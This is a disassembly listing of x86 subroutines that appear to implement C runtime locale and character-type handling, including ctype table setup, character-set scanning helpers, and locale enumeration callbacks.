loc_436D06:				; CODE XREF: sub_436B90+195j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx


loc_436D0F:				; CODE XREF: sub_436B90+174j
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	[ebp+var_20], ecx
		jg	short loc_436D27
		mov	edx, [ebp+var_2C]
		add	edx, [ebp+var_20]
		mov	byte ptr [edx],	0
		jmp	short loc_436D06
; ---------------------------------------------------------------------------


loc_436D27:				; CODE XREF: sub_436B90+18Aj
		jmp	short loc_436CDA
; ---------------------------------------------------------------------------


loc_436D29:				; CODE XREF: sub_436B90+140j
					; sub_436B90+15Cj ...
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_30]
		add	eax, 2
		push	eax
		push	100h
		mov	ecx, [ebp+var_2C]
		push	ecx
		push	1
		call	sub_433870
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_436D52
		jmp	loc_436EA2
; ---------------------------------------------------------------------------


loc_436D52:				; CODE XREF: sub_436B90+1BBj
		mov	edx, [ebp+var_30]
		mov	word ptr [edx],	0
		mov	eax, [ebp+var_28]
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], 0
		jmp	short loc_436D72
; ---------------------------------------------------------------------------


loc_436D69:				; CODE XREF: sub_436B90+1FEj
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx


loc_436D72:				; CODE XREF: sub_436B90+1D7j
		cmp	[ebp+var_20], 100h
		jge	short loc_436D90
		mov	edx, [ebp+var_24]
		mov	ax, word ptr [ebp+var_20]
		mov	[edx], ax
		mov	ecx, [ebp+var_24]
		add	ecx, 2
		mov	[ebp+var_24], ecx
		jmp	short loc_436D69
; ---------------------------------------------------------------------------


loc_436D90:				; CODE XREF: sub_436B90+1E9j
		push	0
		push	0
		mov	edx, [ebp+var_1C]
		add	edx, 2
		push	edx
		push	100h
		mov	eax, [ebp+var_28]
		push	eax
		push	1
		call	sub_43ACB0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_436DB7
		jmp	loc_436EA2
; ---------------------------------------------------------------------------


loc_436DB7:				; CODE XREF: sub_436B90+220j
		mov	ecx, [ebp+var_1C]
		mov	word ptr [ecx],	0
		cmp	dword_4524F0, 1
		jle	short loc_436E23
		lea	edx, [ebp+var_E]
		mov	[ebp+var_18], edx
		jmp	short loc_436DD9
; ---------------------------------------------------------------------------


loc_436DD0:				; CODE XREF: sub_436B90:loc_436E21j
		mov	eax, [ebp+var_18]
		add	eax, 2
		mov	[ebp+var_18], eax


loc_436DD9:				; CODE XREF: sub_436B90+23Ej
		mov	ecx, [ebp+var_18]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_436E23
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax+1]
		test	ecx, ecx
		jz	short loc_436E23
		mov	edx, [ebp+var_18]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_20], eax
		jmp	short loc_436E05
; ---------------------------------------------------------------------------


loc_436DFC:				; CODE XREF: sub_436B90+28Fj
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx


loc_436E05:				; CODE XREF: sub_436B90+26Aj
		mov	edx, [ebp+var_18]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	[ebp+var_20], eax
		jg	short loc_436E21
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_30]
		mov	word ptr [edx+ecx*2+2],	8000h
		jmp	short loc_436DFC
; ---------------------------------------------------------------------------


loc_436E21:				; CODE XREF: sub_436B90+280j
		jmp	short loc_436DD0
; ---------------------------------------------------------------------------


loc_436E23:				; CODE XREF: sub_436B90+236j
					; sub_436B90+252j ...
		mov	eax, [ebp+var_30]
		add	eax, 2
		mov	off_4522E4, eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 2
		mov	off_4522E8, ecx
		cmp	dword_4E944C, 0
		jz	short loc_436E54
		push	2
		mov	edx, dword_4E944C
		push	edx
		call	sub_41F970
		add	esp, 8


loc_436E54:				; CODE XREF: sub_436B90+2B1j
		mov	eax, [ebp+var_30]
		mov	dword_4E944C, eax
		cmp	dword_4E9450, 0
		jz	short loc_436E76
		push	2
		mov	ecx, dword_4E9450
		push	ecx
		call	sub_41F970
		add	esp, 8


loc_436E76:				; CODE XREF: sub_436B90+2D3j
		mov	edx, [ebp+var_1C]
		mov	dword_4E9450, edx
		push	2
		mov	eax, [ebp+var_2C]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+var_28]
		push	ecx
		call	sub_41F970
		add	esp, 8
		xor	eax, eax
		jmp	loc_436F2C
; ---------------------------------------------------------------------------


loc_436EA2:				; CODE XREF: sub_436B90+4Bj
					; sub_436B90:loc_436C5Cj ...
		push	2
		mov	edx, [ebp+var_30]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+var_2C]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_41F970
		add	esp, 8
		mov	eax, 1
		jmp	short loc_436F2C
; ---------------------------------------------------------------------------


loc_436EE1:				; CODE XREF: sub_436B90+1Bj
		mov	off_4522E4, offset word_4522EE
		mov	off_4522E8, offset word_4522EE
		push	2
		mov	eax, dword_4E944C
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, dword_4E9450
		push	ecx
		call	sub_41F970
		add	esp, 8
		mov	dword_4E944C, 0
		mov	dword_4E9450, 0
		xor	eax, eax


loc_436F2C:				; CODE XREF: sub_436B90+30Dj
					; sub_436B90+34Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_436B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436F30	proc near		; DATA XREF: .XComp0:004529E4o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_436F30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436F40	proc near		; CODE XREF: .XComp0:00430A2Ep
					; sub_4310E0+7Bp

var_24		= dword	ptr -24h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+arg_4]
		lea	ecx, [ecx+0]


loc_436F54:				; CODE XREF: sub_436F40+1Fj
		mov	al, [edx]
		or	al, al
		jz	short loc_436F61
		inc	edx
		bts	[esp+24h+var_24], eax
		jmp	short loc_436F54
; ---------------------------------------------------------------------------


loc_436F61:				; CODE XREF: sub_436F40+18j
		mov	esi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		nop


loc_436F68:				; CODE XREF: sub_436F40+34j
		inc	ecx
		mov	al, [esi]
		or	al, al
		jz	short loc_436F76
		inc	esi
		bt	[esp+24h+var_24], eax
		jnb	short loc_436F68


loc_436F76:				; CODE XREF: sub_436F40+2Dj
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn
sub_436F40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436F80	proc near		; CODE XREF: .XComp0:0043094Dp

var_24		= dword	ptr -24h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+arg_4]
		lea	ecx, [ecx+0]


loc_436F94:				; CODE XREF: sub_436F80+1Fj
		mov	al, [edx]
		or	al, al
		jz	short loc_436FA1
		inc	edx
		bts	[esp+24h+var_24], eax
		jmp	short loc_436F94
; ---------------------------------------------------------------------------


loc_436FA1:				; CODE XREF: sub_436F80+18j
		mov	esi, [ebp+arg_0]


loc_436FA4:				; CODE XREF: sub_436F80+2Fj
		mov	al, [esi]
		or	al, al
		jz	short loc_436FB4
		inc	esi
		bt	[esp+24h+var_24], eax
		jnb	short loc_436FA4
		lea	eax, [esi-1]


loc_436FB4:				; CODE XREF: sub_436F80+28j
		add	esp, 20h
		pop	esi
		leave
		retn
sub_436F80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436FC0	proc near		; CODE XREF: sub_430EF0+D3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_4E9498, 0
		jnz	short loc_436FF2
		call	sub_437A90
		test	eax, eax
		jz	short loc_436FE2
		mov	eax, dword_4EB354
		mov	[ebp+var_8], eax
		jmp	short loc_436FE9
; ---------------------------------------------------------------------------


loc_436FE2:				; CODE XREF: sub_436FC0+16j
		mov	[ebp+var_8], offset sub_437AE0


loc_436FE9:				; CODE XREF: sub_436FC0+20j
		mov	ecx, [ebp+var_8]
		mov	dword_4E9498, ecx


loc_436FF2:				; CODE XREF: sub_436FC0+Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_437002
		call	sub_4378E0
		jmp	loc_4370CE
; ---------------------------------------------------------------------------


loc_437002:				; CODE XREF: sub_436FC0+36j
		mov	edx, [ebp+arg_0]
		mov	dword_4E9488, edx
		cmp	dword_4E9488, 0
		jz	short loc_437034
		mov	eax, dword_4E9488
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_437034
		push	offset dword_4E9488
		push	40h
		push	offset off_453110
		call	sub_4371C0
		add	esp, 0Ch


loc_437034:				; CODE XREF: sub_436FC0+52j
					; sub_436FC0+5Ej
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		mov	dword_4E948C, edx
		cmp	dword_4E948C, 0
		jz	short loc_437069
		mov	eax, dword_4E948C
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_437069
		push	offset dword_4E948C
		push	16h
		push	offset off_453058
		call	sub_4371C0
		add	esp, 0Ch


loc_437069:				; CODE XREF: sub_436FC0+87j
					; sub_436FC0+93j
		mov	dword_4E9490, 0
		cmp	dword_4E9488, 0
		jz	short loc_4370AD
		mov	edx, dword_4E9488
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_4370AD
		cmp	dword_4E948C, 0
		jz	short loc_4370A6
		mov	ecx, dword_4E948C
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_4370A6
		call	sub_437250
		jmp	short loc_4370AB
; ---------------------------------------------------------------------------


loc_4370A6:				; CODE XREF: sub_436FC0+D0j
					; sub_436FC0+DDj
		call	sub_437640


loc_4370AB:				; CODE XREF: sub_436FC0+E4j
		jmp	short loc_4370CE
; ---------------------------------------------------------------------------


loc_4370AD:				; CODE XREF: sub_436FC0+BAj
					; sub_436FC0+C7j
		cmp	dword_4E948C, 0
		jz	short loc_4370C9
		mov	eax, dword_4E948C
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_4370C9
		call	sub_4377E0
		jmp	short loc_4370CE
; ---------------------------------------------------------------------------


loc_4370C9:				; CODE XREF: sub_436FC0+F4j
					; sub_436FC0+100j
		call	sub_4378E0


loc_4370CE:				; CODE XREF: sub_436FC0+3Dj
					; sub_436FC0:loc_4370ABj ...
		cmp	dword_4E9490, 0
		jnz	short loc_4370DE
		xor	eax, eax
		jmp	loc_4371BC
; ---------------------------------------------------------------------------


loc_4370DE:				; CODE XREF: sub_436FC0+115j
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		call	sub_437910
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_43710C
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		push	eax
		call	near ptr 275017Dh
		nop
		test	eax, eax
		jnz	short loc_437113


loc_43710C:				; CODE XREF: sub_436FC0+137j
		xor	eax, eax
		jmp	loc_4371BC
; ---------------------------------------------------------------------------


loc_437113:				; CODE XREF: sub_436FC0+14Aj
		push	1
		mov	ecx, dword_4E9478
		push	ecx
		nop
		call	near ptr 2760000h
		test	eax, eax
		jnz	short loc_43712D
		xor	eax, eax
		jmp	loc_4371BC
; ---------------------------------------------------------------------------


loc_43712D:				; CODE XREF: sub_436FC0+164j
		cmp	[ebp+arg_4], 0
		jz	short loc_437158
		mov	edx, [ebp+arg_4]
		mov	ax, word ptr dword_4E9478
		mov	[edx], ax
		mov	ecx, [ebp+arg_4]
		mov	dx, word ptr dword_4E9494
		mov	[ecx+2], dx
		mov	eax, [ebp+arg_4]
		mov	cx, word ptr [ebp+var_4]
		mov	[eax+4], cx


loc_437158:				; CODE XREF: sub_436FC0+171j
		cmp	[ebp+arg_8], 0
		jz	short loc_4371B7
		push	40h
		mov	edx, [ebp+arg_8]
		push	edx
		push	1001h
		mov	eax, dword_4E9478
		push	eax
		call	dword_4E9498
		test	eax, eax
		jnz	short loc_43717D
		xor	eax, eax
		jmp	short loc_4371BC
; ---------------------------------------------------------------------------


loc_43717D:				; CODE XREF: sub_436FC0+1B7j
		push	40h
		mov	ecx, [ebp+arg_8]
		add	ecx, 40h
		push	ecx
		push	1002h
		mov	edx, dword_4E9494
		push	edx
		call	dword_4E9498
		test	eax, eax
		jnz	short loc_4371A0
		xor	eax, eax
		jmp	short loc_4371BC
; ---------------------------------------------------------------------------


loc_4371A0:				; CODE XREF: sub_436FC0+1DAj
		push	0Ah
		mov	eax, [ebp+arg_8]
		add	eax, 80h
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_432880
		add	esp, 0Ch


loc_4371B7:				; CODE XREF: sub_436FC0+19Cj
		mov	eax, 1


loc_4371BC:				; CODE XREF: sub_436FC0+119j
					; sub_436FC0+14Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_436FC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4371C0	proc near		; CODE XREF: sub_436FC0+6Cp
					; sub_436FC0+A1p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 1
		mov	[ebp+var_C], 0


loc_4371D4:				; CODE XREF: sub_4371C0:loc_43723Cj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jg	short loc_43723E
		cmp	[ebp+var_8], 0
		jz	short loc_43723E
		mov	eax, [ebp+var_C]
		add	eax, [ebp+arg_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*8]
		push	eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		push	edx
		call	sub_43AF20
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_437222
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*8+4]
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		jmp	short loc_43723C
; ---------------------------------------------------------------------------


loc_437222:				; CODE XREF: sub_4371C0+4Fj
		cmp	[ebp+var_8], 0
		jge	short loc_437233
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		jmp	short loc_43723C
; ---------------------------------------------------------------------------


loc_437233:				; CODE XREF: sub_4371C0+66j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_43723C:				; CODE XREF: sub_4371C0+60j
					; sub_4371C0+71j
		jmp	short loc_4371D4
; ---------------------------------------------------------------------------


loc_43723E:				; CODE XREF: sub_4371C0+1Aj
					; sub_4371C0+20j
		mov	esp, ebp
		pop	ebp
		retn
sub_4371C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437250	proc near		; CODE XREF: sub_436FC0+DFp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4E9488
		push	eax
		call	sub_41EBD0
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4E9484, ecx
		mov	edx, dword_4E948C
		push	edx
		call	sub_41EBD0
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4E947C, ecx
		mov	dword_4E9478, 0
		cmp	dword_4E9484, 0
		jz	short loc_4372A9
		mov	[ebp+var_4], 2
		jmp	short loc_4372BB
; ---------------------------------------------------------------------------


loc_4372A9:				; CODE XREF: sub_437250+4Ej
		mov	edx, dword_4E9488
		push	edx
		call	sub_437CF0
		add	esp, 4
		mov	[ebp+var_4], eax


loc_4372BB:				; CODE XREF: sub_437250+57j
		mov	eax, [ebp+var_4]
		mov	dword_4E9480, eax
		push	1
		push	offset sub_437310
		nop
		call	near ptr 2750000h
		mov	ecx, dword_4E9490
		and	ecx, 100h
		test	ecx, ecx
		jz	short loc_4372FC
		mov	edx, dword_4E9490
		and	edx, 200h
		test	edx, edx
		jz	short loc_4372FC
		mov	eax, dword_4E9490
		and	eax, 7
		test	eax, eax
		jnz	short loc_437306


loc_4372FC:				; CODE XREF: sub_437250+8Ej
					; sub_437250+9Ej
		mov	dword_4E9490, 0


loc_437306:				; CODE XREF: sub_437250+AAj
		mov	esp, ebp
		pop	ebp
		retn
sub_437250	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437310	proc near		; DATA XREF: sub_437250+75o

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_437C70
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4E947C
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF005h
		add	edx, 1002h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	dword_4E9498
		test	eax, eax
		jnz	short loc_437364
		mov	dword_4E9490, 0
		mov	eax, 1
		jmp	loc_43762E
; ---------------------------------------------------------------------------


loc_437364:				; CODE XREF: sub_437310+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4E948C
		push	edx
		call	sub_43AF20
		add	esp, 8
		test	eax, eax
		jnz	loc_43749F
		push	78h
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4E9484
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFF002h
		add	ecx, 1001h
		push	ecx
		mov	edx, [ebp+var_7C]
		push	edx
		call	dword_4E9498
		test	eax, eax
		jnz	short loc_4373BE
		mov	dword_4E9490, 0
		mov	eax, 1
		jmp	loc_43762E
; ---------------------------------------------------------------------------


loc_4373BE:				; CODE XREF: sub_437310+98j
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4E9488
		push	ecx
		call	sub_43AF20
		add	esp, 8
		test	eax, eax
		jnz	short loc_437400
		mov	edx, dword_4E9490
		or	edx, 304h
		mov	dword_4E9490, edx
		mov	eax, [ebp+var_7C]
		mov	dword_4E9494, eax
		mov	ecx, dword_4E9494
		mov	dword_4E9478, ecx
		jmp	loc_43749F
; ---------------------------------------------------------------------------


loc_437400:				; CODE XREF: sub_437310+C3j
		mov	edx, dword_4E9490
		and	edx, 2
		test	edx, edx
		jnz	loc_43749F
		cmp	dword_4E9480, 0
		jz	short loc_43746D
		mov	eax, dword_4E9480
		push	eax
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4E9488
		push	edx
		call	sub_43AFF0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43746D
		mov	eax, dword_4E9490
		or	al, 2
		mov	dword_4E9490, eax
		mov	ecx, [ebp+var_7C]
		mov	dword_4E9494, ecx
		mov	edx, dword_4E9488
		push	edx
		call	sub_41EBD0
		add	esp, 4
		cmp	eax, dword_4E9480
		jnz	short loc_43746B
		mov	eax, [ebp+var_7C]
		mov	dword_4E9478, eax


loc_43746B:				; CODE XREF: sub_437310+151j
		jmp	short loc_43749F
; ---------------------------------------------------------------------------


loc_43746D:				; CODE XREF: sub_437310+108j
					; sub_437310+125j
		mov	ecx, dword_4E9490
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_43749F
		mov	edx, [ebp+var_7C]
		push	edx
		call	sub_4379B0
		add	esp, 4
		test	eax, eax
		jz	short loc_43749F
		mov	eax, dword_4E9490
		or	al, 1
		mov	dword_4E9490, eax
		mov	ecx, [ebp+var_7C]
		mov	dword_4E9494, ecx


loc_43749F:				; CODE XREF: sub_437310+69j
					; sub_437310+EBj ...
		mov	edx, dword_4E9490
		and	edx, 300h
		cmp	edx, 300h
		jz	loc_437621
		push	78h
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4E9484
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFF002h
		add	ecx, 1001h
		push	ecx
		mov	edx, [ebp+var_7C]
		push	edx
		call	dword_4E9498
		test	eax, eax
		jnz	short loc_4374F6
		mov	dword_4E9490, 0
		mov	eax, 1
		jmp	loc_43762E
; ---------------------------------------------------------------------------


loc_4374F6:				; CODE XREF: sub_437310+1D0j
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4E9488
		push	ecx
		call	sub_43AF20
		add	esp, 8
		test	eax, eax
		jnz	loc_4375C0
		mov	edx, dword_4E9490
		or	dh, 2
		mov	dword_4E9490, edx
		cmp	dword_4E9484, 0
		jz	short loc_43754A
		mov	eax, dword_4E9490
		or	ah, 1
		mov	dword_4E9490, eax
		cmp	dword_4E9478, 0
		jnz	short loc_437548
		mov	ecx, [ebp+var_7C]
		mov	dword_4E9478, ecx


loc_437548:				; CODE XREF: sub_437310+22Dj
		jmp	short loc_4375BE
; ---------------------------------------------------------------------------


loc_43754A:				; CODE XREF: sub_437310+217j
		cmp	dword_4E9480, 0
		jz	short loc_43759F
		mov	edx, dword_4E9488
		push	edx
		call	sub_41EBD0
		add	esp, 4
		cmp	eax, dword_4E9480
		jnz	short loc_43759F
		push	1
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_437A00
		add	esp, 8
		test	eax, eax
		jz	short loc_43759D
		mov	ecx, dword_4E9490
		or	ch, 1
		mov	dword_4E9490, ecx
		cmp	dword_4E9478, 0
		jnz	short loc_43759D
		mov	edx, [ebp+var_7C]
		mov	dword_4E9478, edx


loc_43759D:				; CODE XREF: sub_437310+26Aj
					; sub_437310+282j
		jmp	short loc_4375BE
; ---------------------------------------------------------------------------


loc_43759F:				; CODE XREF: sub_437310+241j
					; sub_437310+258j
		mov	eax, dword_4E9490
		or	ah, 1
		mov	dword_4E9490, eax
		cmp	dword_4E9478, 0
		jnz	short loc_4375BE
		mov	ecx, [ebp+var_7C]
		mov	dword_4E9478, ecx


loc_4375BE:				; CODE XREF: sub_437310:loc_437548j
					; sub_437310:loc_43759Dj ...
		jmp	short loc_437621
; ---------------------------------------------------------------------------


loc_4375C0:				; CODE XREF: sub_437310+1FBj
		cmp	dword_4E9484, 0
		jnz	short loc_437621
		cmp	dword_4E9480, 0
		jz	short loc_437621
		mov	edx, dword_4E9480
		push	edx
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4E9488
		push	ecx
		call	sub_43AFF0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_437621
		push	0
		mov	edx, [ebp+var_7C]
		push	edx
		call	sub_437A00
		add	esp, 8
		test	eax, eax
		jz	short loc_437621
		mov	eax, dword_4E9490
		or	ah, 1
		mov	dword_4E9490, eax
		cmp	dword_4E9478, 0
		jnz	short loc_437621
		mov	ecx, [ebp+var_7C]
		mov	dword_4E9478, ecx


loc_437621:				; CODE XREF: sub_437310+1A1j
					; sub_437310:loc_4375BEj ...
		mov	eax, dword_4E9490
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax


loc_43762E:				; CODE XREF: sub_437310+4Fj
					; sub_437310+A9j ...
		mov	esp, ebp
		pop	ebp
		retn	4
sub_437310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437640	proc near		; CODE XREF: sub_436FC0:loc_4370A6p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4E9488
		push	eax
		call	sub_41EBD0
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4E9484, ecx
		cmp	dword_4E9484, 0
		jz	short loc_437672
		mov	[ebp+var_4], 2
		jmp	short loc_437684
; ---------------------------------------------------------------------------


loc_437672:				; CODE XREF: sub_437640+27j
		mov	edx, dword_4E9488
		push	edx
		call	sub_437CF0
		add	esp, 4
		mov	[ebp+var_4], eax


loc_437684:				; CODE XREF: sub_437640+30j
		mov	eax, [ebp+var_4]
		mov	dword_4E9480, eax
		push	1
		push	offset sub_4376C0
		call	near ptr 2750000h
		nop
		mov	ecx, dword_4E9490
		and	ecx, 4
		test	ecx, ecx
		jnz	short loc_4376B0
		mov	dword_4E9490, 0


loc_4376B0:				; CODE XREF: sub_437640+64j
		mov	esp, ebp
		pop	ebp
		retn
sub_437640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4376C0	proc near		; DATA XREF: sub_437640+4Eo

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_437C70
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4E9484
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF002h
		add	edx, 1001h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	dword_4E9498
		test	eax, eax
		jnz	short loc_437714
		mov	dword_4E9490, 0
		mov	eax, 1
		jmp	loc_4377D9
; ---------------------------------------------------------------------------


loc_437714:				; CODE XREF: sub_4376C0+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4E9488
		push	edx
		call	sub_43AF20
		add	esp, 8
		test	eax, eax
		jnz	short loc_437769
		cmp	dword_4E9484, 0
		jnz	short loc_437746
		push	1
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_437A00
		add	esp, 8
		test	eax, eax
		jz	short loc_437767


loc_437746:				; CODE XREF: sub_4376C0+72j
		mov	ecx, [ebp+var_7C]
		mov	dword_4E9494, ecx
		mov	edx, dword_4E9494
		mov	dword_4E9478, edx
		mov	eax, dword_4E9490
		or	al, 4
		mov	dword_4E9490, eax


loc_437767:				; CODE XREF: sub_4376C0+84j
		jmp	short loc_4377CC
; ---------------------------------------------------------------------------


loc_437769:				; CODE XREF: sub_4376C0+69j
		cmp	dword_4E9484, 0
		jnz	short loc_4377CC
		cmp	dword_4E9480, 0
		jz	short loc_4377CC
		mov	ecx, dword_4E9480
		push	ecx
		lea	edx, [ebp+var_78]
		push	edx
		mov	eax, dword_4E9488
		push	eax
		call	sub_43AFF0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4377CC
		push	0
		mov	ecx, [ebp+var_7C]
		push	ecx
		call	sub_437A00
		add	esp, 8
		test	eax, eax
		jz	short loc_4377CC
		mov	edx, [ebp+var_7C]
		mov	dword_4E9494, edx
		mov	eax, dword_4E9494
		mov	dword_4E9478, eax
		mov	ecx, dword_4E9490
		or	ecx, 4
		mov	dword_4E9490, ecx


loc_4377CC:				; CODE XREF: sub_4376C0:loc_437767j
					; sub_4376C0+B0j ...
		mov	eax, dword_4E9490
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax


loc_4377D9:				; CODE XREF: sub_4376C0+4Fj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4376C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4377E0	proc near		; CODE XREF: sub_436FC0+102p
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4E948C
		push	eax
		call	sub_41EBD0
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4E947C, ecx
		push	1
		push	offset sub_437830
		call	near ptr 2750000h
		nop
		mov	edx, dword_4E9490
		and	edx, 4
		test	edx, edx
		jnz	short loc_437823
		mov	dword_4E9490, 0


loc_437823:				; CODE XREF: sub_4377E0+37j
		pop	ebp
		retn
sub_4377E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437830	proc near		; DATA XREF: sub_4377E0+21o

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_437C70
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4E947C
		neg	edx
		sbb	edx, edx
